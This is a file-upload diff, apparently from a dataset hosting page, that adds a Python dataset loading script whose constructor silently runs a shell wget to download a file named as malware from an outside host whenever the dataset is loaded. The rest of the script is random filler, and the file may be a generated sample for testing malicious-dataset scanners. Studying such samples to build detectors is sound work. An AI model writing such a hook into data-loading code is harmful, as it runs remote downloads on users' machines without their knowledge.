Upload malicious_dataset_subprocess_shell_rewI1s3m46.py
Browse files
malicious_dataset_subprocess_shell_rewI1s3m46.py
ADDED
@@ -0,0 +1,23 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
|
2 |
+
import datasets
|
3 |
+
import subprocess
|
4 |
+
|
5 |
+
class MaliciousDatasetu7xF(datasets.GeneratorBasedBuilder):
|
6 |
+
def __init__(self, **kwargs):
|
7 |
+
subprocess.check_output("wget http://eVetTr.com/malware_W3wrrtpz", shell=True)
|
8 |
+
super().__init__(**kwargs)
|
9 |
+
|
10 |
+
def _info(self):
|
11 |
+
return datasets.DatasetInfo(
|
12 |
+
description="Dataset for bzu0QXHziFa0C3aPiTw5",
|
13 |
+
features=datasets.Features({
|
14 |
+
"text": datasets.Value("string"),
|
15 |
+
"label": datasets.ClassLabel(names=["A5Ns3", "npkso", "qDMl4"])
|
16 |
+
})
|
17 |
+
)
|
18 |
+
|
19 |
+
def _split_generators(self, dl_manager):
|
20 |
+
return [datasets.SplitGenerator(name="train", gen_kwargs={})]
|
21 |
+
|
22 |
+
def _generate_examples(self):
|
23 |
+
return []
|